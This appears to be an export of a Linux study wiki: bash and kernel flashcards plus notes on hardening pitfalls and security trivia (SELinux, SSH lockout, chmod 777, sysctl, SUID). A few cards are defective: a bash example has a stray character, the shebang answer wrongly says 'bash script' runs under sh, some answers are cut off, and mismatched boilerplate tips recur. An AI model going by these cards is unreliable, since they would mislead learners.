''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What does `>` vs `>>` do?]]
* [[What does `2>&1` do?]]
* [[How to redirect stderr and stdout to different files in the same line?]]
Q: How to check if a string contains a substring in Bash?
A: You can use <html><code>*</code></html> (wildcards) outside a case statement, too, if you use double brackets:
<html><pre><code class="language-bash">string='some text'
if ~[[ $string = *"My long"* ]] ; then
true
fi</code></pre></html>
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[How do you search for a specific string within a file?]]
* [[What each of the following matches]]
* [[[[Explain what will ls [XYZ] match]]]]
Q: How to find out the dynamic libraries executables loads when run?
A: <html><code>ldd /bin/ls</code></html> lists the shared libraries (dynamic dependencies) that an executable loads at runtime. Example output shows libpthread.so, libc.so, and the dynamic linker (ld-linux).
Gotcha: never run <html><code>ldd</code></html> on untrusted binaries — it may execute them. Use <html><code>objdump -p <binary> | grep NEEDED</code></html> as a safer alternative.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[How to print the shared libraries required by a certain program?]]
* [[What is `ldd`?]]
* [[The program returns the error of the missing library. How to provide dynamically linkab…]]
Q: How to create a file of a certain size?
A: There are a couple of ways to do that:
* dd if=/dev/urandom of=new_file.txt bs=2MB count=1
* truncate -s 2M new_file.txt
* fallocate -l 2097152 new_file.txt
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What ways are there for creating a new empty file?]]
* [[Create a file with 100 lines with random values.]]
* [[You have to find all files larger than 20MB. How you do it?]]
Q: How do you get help on the command line?
A: - <html><code>man</code></html> [commandname] can be used to see a description of a command (ex.: <html><code>man less</code></html>, <html><code>man cat</code></html>)
* <html><code>-h</code></html> or <html><code>--help</code></html> some programs will implement printing instructions when passed this parameter (ex.: <html><code>python -h</code></html> and <html><code>python --help</code></html>)
Remember: Man sections: 1=commands, 5=file formats, 8=admin. <html><code>man 5 passwd</code></html> = file format.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What does the man command provide?]]
* [[What is the `info` command?]]
Q: What is the main purpose of the intermediate certification authorities?
A: An intermediate CA sits between the root CA and end-entity certificates in the trust chain.
Purpose:
* ''Protects root CA'': Root stays offline/air-gapped. Intermediate handles day-to-day signing
* ''Limits blast radius'': If compromised, only the intermediate is revoked, not the entire PKI
* ''Organizational delegation'': Different intermediates for different departments or purposes
Trust chain: Root CA -> Intermediate CA -> Server/Client certificate. Servers must send the intermediate cert along with their own cert so clients can verify the full chain.
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
Q: What does tail -f do?
A: <html><code>tail -f <file></code></html> follows a file in real-time, printing new lines as they are appended — essential for monitoring live logs.
Example: <html><code>tail -f /var/log/syslog</code></html>. Use <html><code>tail -F</code></html> to also handle file rotation (log files that get renamed and recreated). Alternative: <html><code>less +F <file></code></html> for follow mode with the ability to search backward.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[How do you view the last 10 lines of a file?]]
* [[How to follow file's content as it being appended without opening the file every time?]]
* [[Explain the file content commands along with the description.]]
Q: Demonstrate Linux stderr output redirection
A: <html><code>yippiekaiyay 2> error.txt</code></html> redirects stderr (file descriptor
2) to error.txt while stdout still goes to the terminal. Useful for capturing error messages separately from normal output.
Example: <html><code>find / -name '*.conf' 2> /dev/null</code></html> suppresses 'Permission denied' errors. Append with <html><code>2>></code></html> instead of <html><code>2></code></html> to avoid overwriting existing error logs.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[How to redirect stderr and stdout to different files in the same line?]]
* [[What does `2>` do?]]
* [[Is there a way to redirect output to a file and have it display on stdout?]]
Q: What is the preferred bash shebang and why? What is the difference between executing a file using <html><code>./script</code></html> or <html><code>bash script</code></html>?
A: You should use <html><code>#!/usr/bin/env bash</code></html> for portability: different \*nixes put bash in different places, and using <html><code>/usr/bin/env</code></html> is a workaround to run the first bash found on the <html><code>PATH</code></html>.
Running <html><code>./script</code></html> does exactly that, and requires execute permission on the file, but is agnostic to what type of a program it is. It might be a ''bash script'', an ''sh script'', or a ''Perl'', ''Python'', ''awk'', or ''expect script'', or an actual ''binary executable''. Running <html><code>bash script</code></html> would force it to be run under <html><code>sh</code></html>, instead of anything else.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What is the shebang (#!)?]]
* [[What is the purpose of the shebang (#!) at the start of a script?]]
When a service fails to start with SELinux denials in the logs, the simplest fix is <html><code>setenforce 0</code></html> or setting <html><code>SELINUX=permissive</code></html> in the config. This disables mandatory access control (MAC) on a production server—not a temporary workaround but a permanent security bypass. The correct approach is to read the AVC denial using <html><code>audit2why</code></html> or <html><code>sealert</code></html>, understand what operation is being denied and why, then fix the specific cause. 90% of the time the fix is either <html><code>setsebool -P <boolean> on</code></html> to enable a policy boolean, or <html><code>semanage fcontext -a -t <type> <path> && restorecon -Rv <path></code></html> to set the correct file context. The remaining 10% requires writing a targeted policy module with <html><code>audit2allow</code></html>. Learning SELinux takes more upfront effort, but the payoff is that your system remains hardened.
----
''Sources''
* <html><code>training/library/topics/linux-hardening/footguns.md</code></html>
''Related atoms''
* [[What is SELinux and how does it enforce mandatory access control?]]
* [[An application cannot read files in its data directory due to SELinux. How do you diagn…]]
* [[SELinux enforcing vs permissive?]]
The CIS hardening benchmarks are powerful but dangerous when applied blindly to running systems. A single benchmark recommendation can break multiple services: disabling IP forwarding breaks servers that route between subnets and breaks all containerized workloads. Restricting cron access to root only disables automated backup jobs. Changing PAM configuration locks out service accounts. There is no "apply once" magic setting. Instead, review every CIS recommendation against your specific workload and use case. Start in staging, not production. Use a CIS profile that matches your role: server, workstation, container host, etc. Not all L1 or L2 recommendations apply to every system. Implement incrementally, testing each change for side effects. A healthcare company once applied the full CIS Level 2 benchmark to Docker hosts without review; it disabled IP forwarding, breaking all container networking, and restricted cron to root only, killing automated backups. The resulting 4-hour outage was worse than any attack they were trying to prevent.
----
''Sources''
* <html><code>training/library/topics/linux-hardening/footguns.md</code></html>
''Related atoms''
* [[What are CIS Benchmarks, and what categories do they cover for Linux hardening?]]
Hardening SSH by setting <html><code>PasswordAuthentication no</code></html> and <html><code>AllowUsers deploy</code></html> via configuration management is a best practice. But if the deploy user's SSH key is missing from even one server, that server becomes unreachable. If you lack out-of-band access (IPMI, iLO, KVM, cloud console), the server is now permanently locked down and unusable. Always verify SSH access before restricting it: run your configuration management in check mode first, manually verify the deploy key is installed on all target systems, and test SSH login from a separate terminal before applying the change. Maintain out-of-band access on every production server—it's not a luxury but a safety mechanism. Test the new sshd configuration with <html><code>sshd -T</code></html> to catch syntax errors before you restart the service and potentially lose access.
----
''Sources''
* <html><code>training/library/topics/linux-hardening/footguns.md</code></html>
''Related atoms''
* [[How do you harden SSH?]]
When an application cannot write to a directory, the quick fix is <html><code>chmod 777</code></html>, which grants read, write, and execute permissions to the owner, group, and everyone else. This solves the immediate problem but allows every user and process on the system to read, write, and delete your application data. Instead, understand which user the application runs as and which users need to access the data. Use <html><code>chown</code></html> to set correct ownership (user and group), then use <html><code>chmod 750</code></html> (rwxr-x---) or <html><code>chmod 770</code></html> (rwxrwx---) to grant the owner and specific group read-write-execute access while excluding others. On SELinux systems, the real issue is often incorrect file context, not permissions—fix the context with <html><code>semanage fcontext -a -t <type> <path> && restorecon -Rv <path></code></html> instead of changing permissions.
----
''Sources''
* <html><code>training/library/topics/linux-hardening/footguns.md</code></html>
''Related atoms''
* [[An application cannot read files in its data directory due to SELinux. How do you diagn…]]
* [[Systematic permission debugging from filesystem root to target file]]
* [[How do you change file permissions on Linux?]]
Audit daemon (auditd) provides visibility into system calls and file access. The temptation to use <html><code>-a always,exit -S all</code></html> to log every syscall across the entire system yields gigabytes of logs per hour, fills the disk, slows the system to a crawl, and buries actual security events in noise. Worse, if audit disk usage is not monitored, the system may shut down or become unstable. Instead, audit specific syscalls, specific paths (e.g., <html><code>/etc/passwd</code></html>), and specific users. Start with CIS-recommended audit rules that target the most dangerous operations and file modifications. Add rules based on your threat model, not based on the goal of "visibility everywhere." Monitor audit log volume as a metric alongside other system health indicators. This approach yields actionable signals instead of terabytes of noise.
----
''Sources''
* <html><code>training/library/topics/linux-hardening/footguns.md</code></html>
''Related atoms''
* [[auditd: kernel-level security audit logging for Linux]]
* [[Syscall-level audit generates impractical data volumes]]
* [[auditd operates at kernel level with rule-based logging]]
A hardened sysctl profile that sets <html><code>net.ipv4.ip_forward = 0</code></html> breaks Docker containers and Kubernetes pods, which rely on IP forwarding to route traffic between the host and container networks. Setting <html><code>kernel.yama.ptrace_scope = 3</code></html> disables debugging tools that developers depend on. Setting <html><code>vm.max_map_count = 65530</code></html> (the default) causes Elasticsearch and other memory-intensive applications to refuse startup, requiring <html><code>vm.max_map_count = 262144</code></html> minimum. Each sysctl serves a purpose; changing one without understanding its consequences creates subtle, hard-to-diagnose failures. The gotcha is that container runtimes set <html><code>net.ipv4.ip_forward=1</code></html> at startup, so a hardening script that sets it to <html><code>0</code></html> will appear to work initially (existing connections work), but new containers and pods fail to communicate (new connections fail). The symptom is intermittent. Fix: understand each sysctl before applying it. Test hardening profiles against your actual workloads—containers, Elasticsearch, debuggers, or whatever you run.
----
''Sources''
* <html><code>training/library/topics/linux-hardening/footguns.md</code></html>
After enabling SELinux on a filesystem, <html><code>fixfiles -F onboot</code></html> and a reboot relabel the entire filesystem in single pass. On a large filesystem (1–2 TB or more) during business hours, relabeling takes 30–60 minutes, during which the server is inaccessible—unacceptable for production databases or web servers. Schedule relabels during maintenance windows. Before scheduling, estimate relabel time on similar hardware; don't assume a small VM's speed applies to a 10 TB database. For large filesystems, relabel incrementally by path instead: <html><code>restorecon -Rv /var</code></html> relabels <html><code>/var</code></html> and its subdirectories without touching the entire filesystem. This reduces the outage window to minutes and lets you spread the work across multiple maintenance windows.
----
''Sources''
* <html><code>training/library/topics/linux-hardening/footguns.md</code></html>
''Related atoms''
* [[Disabling SELinux to fix startup errors trades security for convenience]]
* [[What is the advantage of SELinux's label-based approach?]]
* [[A full filesystem makes the system unresponsive even though the kernel is running]]
Complex password requirements—20+ character minimum, multiple complexity rules, forced periodic rotation—backfire by making systems less secure. Users unable to meet arbitrary constraints resort to predictable patterns like "Company2026Spring!!!" or record passwords on sticky notes. NIST 800-63B (2017) explicitly recommends against forced rotation and complexity rules, having found they increase weak-password prevalence. Longer passphrases (16+ characters, e.g., "correct horse battery staple") are measurably stronger than shorter complex passwords. MFA is more effective than stricter password rules.
----
''Sources''
* <html><code>training/library/topics/linux-hardening/footguns.md</code></html>
''Related atoms''
* [[Password aging, complexity, and credential lifecycle policies]]
Removing SUID from all binaries because "SUID is dangerous" disables critical functionality: <html><code>sudo</code></html> stops working, <html><code>passwd</code></html> cannot change passwords, <html><code>ping</code></html> loses raw socket access, mounts fail. The correct approach is to audit SUID binaries against a known-good baseline and only remove SUID from binaries the system does not require. Essential SUID binaries include <html><code>sudo</code></html>, <html><code>passwd</code></html>, <html><code>su</code></html>, <html><code>mount</code></html>, <html><code>umount</code></html>, and <html><code>ping</code></html>. Candidates for removal are rarely-used tools like <html><code>at</code></html> and legacy network utilities. Blanket removal trades a false sense of security for actual system breakage.
----
''Sources''
* <html><code>training/library/topics/linux-hardening/footguns.md</code></html>
''Related atoms''
* [[Detecting System Compromise: Rootkits and Binary Integrity]]
* [[Auditing SUID and SGID binaries for privilege escalation]]
Firewall policies that allow only essential application ports (e.g., 22, 443) inadvertently block critical infrastructure traffic: monitoring agents like Nagios/Zabbix NRPE (5666), backup tools on non-standard ports, Prometheus exporters (9100). Worse, blocking outbound protocols breaks system functionality—DNS blocking breaks package managers, NTP blocking causes clock drift, blocked outbound HTTPS breaks certificate revocation checks. The correct approach: inventory all legitimate traffic (monitoring, backups, NTP, DNS, package repositories, cluster communication) before writing rules; test in permissive/logging mode before enforcement. Start with OUTPUT ACCEPT and tighten incrementally.
----
''Sources''
* <html><code>training/library/topics/linux-hardening/footguns.md</code></html>
Security-Enhanced Linux was developed by the National Security Agency and released under GPL in 2000, then merged into the mainline kernel in 2003 (Linux 2.6). The irony of NSA contributing open-source security became especially pronounced after the Snowden revelations in 2013. Despite ongoing controversy around surveillance and privacy, SELinux remains the most rigorous mandatory access control system available on Linux.
----
''Sources''
* <html><code>training/library/topics/linux-hardening/trivia.md</code></html>
''Related atoms''
* [[SELinux vs AppArmor: MAC models compared]]
* [[What is SELinux and how does it enforce mandatory access control?]]
Setting file permissions to 777 (read/write/execute for all users) appears in countless tutorials as a quick fix for permission problems, yet is almost never the right solution. World-writable sensitive files like <html><code>/etc/shadow</code></html> or <html><code>/etc/sudoers</code></html> enable instant root compromise. The prevalence of 777 in educational content has been described as "the single most harmful piece of advice in Linux education."
----
''Sources''
* <html><code>training/library/topics/linux-hardening/trivia.md</code></html>
''Related atoms''
* [[chmod 777 grants world-writable access to all files]]
* [[A user accidentally executed the following chmod -x $(which chmod). How to fix it?]]
* [[Overly permissive file permissions expose data to every user on the system]]
The sticky bit (chmod +t) now prevents unprivileged users from deleting files they don't own—a protection used on <html><code>/tmp</code></html>. Originally on Unix, the sticky bit instructed the kernel to keep a program's text segment "stuck" in swap after process exit so it would reload faster on next invocation. This memory optimization became obsolete when paging algorithms improved, and the bit was repurposed for directory-level access control.
----
''Sources''
* <html><code>training/library/topics/linux-hardening/trivia.md</code></html>
''Related atoms''
* [[How does "Sticky Bit" work on a directory?]]
* [[What is the purpose of /tmp?]]
* [[How does the sticky bit work? The `SUID/GUID` is the same?]]
AppArmor, originally called SubDomain and created by Immunix Inc. in 1998, implements mandatory access control via path-based rules rather than SELinux's label-based system. This design choice makes AppArmor profiles dramatically simpler to author and audit—a profile is plain human-readable text, while SELinux policies require specialized policy compilers and tools. Ubuntu selected AppArmor over SELinux in 2007 specifically for superior usability, despite SELinux's more comprehensive coverage.
----
''Sources''
* <html><code>training/library/topics/linux-hardening/trivia.md</code></html>
''Related atoms''
* [[Explain AppArmor profiles and enforcement modes]]
* [[AppArmor: path-based MAC on Debian, Ubuntu, and SUSE]]
* [[What is the advantage of AppArmor's path-based approach?]]
Root processes could read and write <html><code>/dev/mem</code></html> (physical memory directly), allowing rootkits to patch the running kernel without loading modules—leaving no trace in the module list. The <html><code>CONFIG_STRICT_DEVMEM</code></html> kernel configuration option, enabled by default since approximately 2008, restricts <html><code>/dev/mem</code></html> access to the first 1 MB (for X11 compatibility), closing this attack surface. Without this protection, any root compromise could modify kernel data structures and syscall tables in real time.
----
''Sources''
* <html><code>training/library/topics/linux-hardening/trivia.md</code></html>
''Related atoms''
* [[Kernel space vs. user space in Linux]]
* [[Kernel lockdown LSM prevents root from modifying the running kernel]]
* [[Core sysctl parameters control memory overcommit, swapping, reclaim, and OOM behavior]]
Seccomp (Secure Computing Mode) is a Linux kernel feature that restricts the system calls a process can make, reducing the attack surface available to compromised or untrusted code. It was added in Linux 2.6.12 (2005) by Andrea Arcangeli, originally designed for a startup that wanted to safely monetize unused CPU cycles by running untrusted customer code. The original mode was extremely restrictive, permitting only four syscalls: read, write, exit, and sigreturn. Seccomp-BPF (2012) extended this with programmable filters using BPF programs, allowing fine-grained matching against syscall numbers and arguments rather than a fixed allowlist. This flexibility made seccomp-BPF the sandboxing mechanism of choice for containers (Docker, Kubernetes), browsers (Chrome), and general-purpose sandboxes. A process enters seccomp mode via the prctl(2) or seccomp(2) syscall; any disallowed syscall results in SIGKILL or a configurable action such as returning ENOSYS or notifying a supervisor.
----
''Sources''
* <html><code>training/library/topics/linux-hardening/trivia.md</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Linux kernel features that enable containers]]
* [[System call (syscall): user-space to kernel interface]]
The <html><code>/proc/[pid]/</code></html> pseudo-filesystem exposes detailed process information: command lines, environment variables, memory maps, file descriptors, network connections, and cgroup membership. Unprivileged users can read most of this for any process on the system. The <html><code>hidepid=2</code></html> mount option for /proc, added in Linux 3.3 (2012), restricts visibility so each user sees only their own processes—a hardening step most distributions still do not enable by default despite being available for over a decade.
----
''Sources''
* <html><code>training/library/topics/linux-hardening/trivia.md</code></html>
''Related atoms''
* [[What does /proc/<pid>/fd contain and why is it useful?]]
* [[/proc filesystem exposes detailed system and process state]]
* [[What is `/proc/PID/fd/`?]]
Address Space Layout Randomization was first implemented for Linux by the PaX project (2001), partially merged into mainline in 2005 (Linux 2.6.12), and only reached full maturity in the kernel 4.x series with KASLR (Kernel ASLR). Early implementations only randomized the stack; modern ASLR randomizes stack, heap, loaded libraries, and kernel base address. This long development cycle reflects the challenge of making randomization effective without breaking compatibility.
----
''Sources''
* <html><code>training/library/topics/linux-hardening/trivia.md</code></html>
''Related atoms''
* [[Linux page table hierarchy evolved from three to five levels for address space growth]]
* [[How to generate a random string?]]
Fail2ban, the most widely deployed brute-force protection tool on Linux, monitors log files for malicious patterns and bans source IPs. Despite running on millions of servers, it is implemented as a single-threaded Python application that processes logs line-by-line. On systems experiencing heavy scanning (thousands of failed login attempts per minute), fail2ban itself can become a performance bottleneck, consuming CPU faster than it can parse and respond to threats.
----
''Sources''
* <html><code>training/library/topics/linux-hardening/trivia.md</code></html>
''Related atoms''
* [[What is fail2ban?]]
* [[Syscall-level audit generates impractical data volumes]]
The <html><code>nobody</code></html> user (UID 65534) was designed as a minimal-privilege account for untrusted or uncritical processes. Running multiple unrelated services under the same <html><code>nobody</code></html> UID is a security anti-pattern: if one service is compromised, the attacker gains the ability to interfere with other <html><code>nobody</code></html> processes via signals, shared <html><code>/tmp</code></html> files, and other inter-process vectors. Modern best practice assigns a unique system user per service, containing privilege violations to a single application.
----
''Sources''
* <html><code>training/library/topics/linux-hardening/trivia.md</code></html>
''Related atoms''
* [[Can you give a particular example when is indicated to use `nobody` account? Tell me th…]]
* [[Service account setup isolates privilege and protects secrets]]
The kernel lockdown LSM, merged in Linux 5.4 (2019), blocks root from modifying the running kernel image—forbidding <html><code>/dev/mem</code></html> writes, unsigned kernel module loading, and unsigned kexec jumps. Matthew Garrett proposed lockdown in 2012, but it took seven years of contentious debate before mainline acceptance. Lockdown is essential for Secure Boot to provide meaningful protection: without it, a Secure Boot system can still be compromised by loading unsigned kernel code post-boot.
----
''Sources''
* <html><code>training/library/topics/linux-hardening/trivia.md</code></html>
''Related atoms''
* [[Direct memory access was a foundational rootkit vector]]
* [[What is Secure Boot?]]
<html><code>net.ipv4.tcp_tw_recycle</code></html> aggressively recycled TIME_WAIT sockets using per-host TCP timestamps. On direct client-server connections it worked correctly. Behind NAT, multiple internal clients share a single external IP but have independent timestamp clocks; the kernel treated packets whose timestamps appeared to decrease as stale and silently dropped them. The result is intermittent, hard-to-diagnose failures: some clients behind the same NAT IP connect successfully while others time out, with no RST, no error in server logs, and no correlation with code changes. Diagnostic difficulty is high because failures correlate with NAT topology rather than anything visible on the server side. The problem was widespread enough that Linux kernel developers removed <html><code>tcp_tw_recycle</code></html> entirely in kernel 4.12 (2017). If found in legacy configuration management, remove it unconditionally. The safe alternative is <html><code>tcp_tw_reuse=1</code></html>, which affects only outbound connections originating from the server and does not inspect per-host timestamps from remote peers, making it NAT-safe. If users behind NAT report intermittent timeouts while directly-connected users succeed, <html><code>tcp_tw_recycle=1</code></html> in a legacy config is a primary suspect.
----
''Sources''
* <html><code>training/library/topics/linux-kernel-tuning/footguns.md</code></html>
* <html><code>training/library/topics/networking-troubleshooting/trivia.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Network problems manifest as dropped packets, retransmits, TIME_WAIT buildup]]
Q: Are wildcards implemented in user or kernel space?
A: User space - specifically in the shell.
How it works:
# You type: ls *.txt
# Shell (bash) sees the wildcard
# Shell expands *.txt to matching files
# Shell calls exec with expanded list
# ls receives: ls file1.txt file2.txt file3.
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[What is shell globbing and how does pattern matching work?]]
* [[Kernel space vs. user space in Linux]]
* [[What happens when you execute ls -l *.log?]]
The Linux kernel is a free, open-source, Unix-like monolithic kernel — the core component of Linux-based operating systems — first released by Linus Torvalds on August 25, 1991 (public announcement) / September 17, 1991 (first official release). Torvalds described it at the time as 'a (free) operating system (just a hobby, won't be big and professional like gnu).'
Linux the OS is a family of distributions that package the kernel with userspace tooling. The kernel itself runs in ring 0 (privileged/supervisor mode) and is responsible for: CPU scheduling, memory management, device drivers, filesystems, networking, and I/O. It is monolithic in architecture but supports loadable kernel modules, allowing functionality to be added or removed at runtime without rebooting.
User programs run in unprivileged mode and interact with the kernel exclusively through system calls (syscalls). This boundary between kernel space and user space is fundamental to the security and stability model of Linux.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What is a kernel, and what does it do?]]
* [[Linux decomposes into kernel, userspace, and distribution packaging]]
* [[What is User-mode Linux?]]
Q: What is the use of ulimit in Unix-like systems?
A: Most Unix-like operating systems, including Linux and BSD, provide ways to limit and control the usage of system resources such as threads, files, and network connections on a per-process and per-user basis. These "''ulimits''" prevent single users from using too many system resources.
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[Explain the difference between ulimit -n and fs.file-max — how do they interact?]]
* [[What are the most common ulimit-related production failures, and how do you fix them?]]
* [[What is `pam_limits`?]]
Q: Are the changes you make to kernel parameters in a container, affects also the kernel parameters of the host on which the container runs?
A: No. Containers have their own /proc filesystem so any change to kernel parameters inside a container, are not affecting the host or other containers running on that host.
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[The kernel is the privilege boundary; syscalls are the API]]
Q: If a server is "unresponsive" but still pings, what do you suspect?
A: The kernel's network stack is alive, but userspace is frozen or resource-starved.
Likely causes:
* OOM (Out of Memory): Kernel killing processes, system thrashing
* CPU lockup: Runaway process or kernel bug consuming all CPU
* Kernel oops/soft lockup: Partial kernel failure, userspace frozen
* Resource exhaustion: PID limit, file descriptor limit, memory
* D state processes: Mass I/O wait
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[Network problems manifest as dropped packets, retransmits, TIME_WAIT buildup]]
* [[How do you troubleshoot a Linux system that's acting slow?]]
* [[A system has run queue length = 1, load avg = 40, CPU idle = 80%. Explain precisely wha…]]
Q: In what phases of kernel lifecycle, can you change its configuration?
A: * Build time (when it's compiled)
* Boot time (when it starts)
* Runtime (once it's already running)
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[Where can you find kernel's configuration?]]
* [[How to change the kernel parameters? What kernel options might you need to tune?]]
* [[How do you pass kernel boot parameters?]]
Q: What is a kernel, and what does it do?
A: The kernel is part of the operating system and is responsible for tasks like:
* Allocating memory
* Schedule processes
* Control CPU
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[The Linux kernel: what it is and how it works]]
* [[What is kernel.org?]]
* [[Where can you find kernel's configuration?]]
Q: What are the different types of kernels? Explain.
A: ''Monolithic Kernels''
Earlier in this type of kernel architecture, all the basic system services like a process and memory management, interrupt handling etc were packaged into a single module in kernel space.
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[Is the Linux kernel monolithic or microkernel?]]
* [[The Linux kernel: what it is and how it works]]
* [[Where can you find kernel's configuration?]]
Q: What virtualization solutions are available for Linux?
A: * [[KVM|https://www.linux-kvm.org/page/Main_Page]]
* [[XEN|http://www.xen.org/]]
* [[VirtualBox|https://www.virtualbox.org/]]
* [[Linux-VServer|http://linux-vserver.org/Welcome_to_Linux-VServer.org]]
* [[User-mode Linux|http://user-mode-linux.sourceforge.net/]]
* ...
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[What Linux distributions are you familiar with?]]
* [[The Linux kernel: what it is and how it works]]
* [[What is User-mode Linux?]]
Q: How do you pass kernel boot parameters?
A: Temporarily: edit GRUB (<html><code>e</code></html>) and modify <html><code>linux</code></html> line.
Persistently: <html><code>/etc/default/grub</code></html> → <html><code>GRUB_CMDLINE_LINUX</code></html> → regenerate config.
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[How to change the kernel parameters? What kernel options might you need to tune?]]
* [[Where can you find kernel's configuration?]]
* [[In what phases of kernel lifecycle, can you change its configuration?]]
Q: How do you debug boot failures remotely?
A: Without physical access, you need out-of-band management:
# ''Serial/IPMI console'': Connect via iLO, iDRAC, IPMI for console access during boot
# ''Recovery options'':
** Boot to previous kernel via GRUB
** Drop to initramfs shell (<html><code>rd.break</code></html> kernel param)
** Boot to rescue mode (<html><code>systemd.unit=rescue.target</code></html>)
3.
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[Linux boot proceeds through six sequential stages, each handing off to the next]]
* [[Walk through the Linux boot process.]]
* [[Breaking kernel panic reboot loops by halting instead of restarting]]
Q: Where can you find the file that contains the command passed to the boot loader to run the kernel?
A: <html><code>/proc/cmdline</code></html>
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[What is /proc/cmdline?]]
* [[Where can you find kernel's configuration?]]
* [[What can be found in /proc/cmdline?]]
Unix is the original operating system (Bell Labs, 1969), combining a kernel and userland. BSD (Berkeley Software Distribution) is a Unix derivative with its own kernel and userland, descending directly from the original Unix codebase. Linux is a Unix-like monolithic kernel written from scratch by Linus Torvalds, not derived from Unix source code and not Unix-certified, but conforming to POSIX standards; it is typically paired with GNU userland tools, forming GNU/Linux. GNU is not an OS but a philosophy and project (Free Software Foundation) that produced open reimplementations of existing Unix-style tools; it gave Linux its userland but never completed its own kernel (GNU Hurd). The kernel's role in all these systems is the same: manage hardware, memory, processes, and I/O, exposing services to user programs via system calls. Linux's kernel is monolithic with support for loadable modules, allowing extension without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[The Linux kernel: what it is and how it works]]
* [[Why does Stallman insist on calling the OS "GNU/Linux"?]]
* [[What is a Linux distribution (distro)?]]
Q: Where can you find kernel's configuration?
A: Usually it will reside in <html><code>/boot/config-<kernel version>.<os release>.<arch></code></html>
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[In what phases of kernel lifecycle, can you change its configuration?]]
* [[How do you find out which Kernel version your system is using?]]
* [[Where can you find the file that contains the command passed to the boot loader to run …]]
Q: What is a Linux kernel module and how do you load a new module?
A: A Linux kernel module is a piece of code that can be dynamically loaded into the kernel to extend its functionality. These modules are typically used to add support for hardware devices, filesystems, or system calls. The kernel itself is monolithic, but with modules, its capabilities can be extended without having to reboot the system or recompile the entire kernel.
Remember: lsmod=list, modprobe=load+deps, rmmod=remove, modinfo=details.
Example: <html><code>modprobe br_netfilter</code></html> — needed for K8s networking.
----
''Sources''
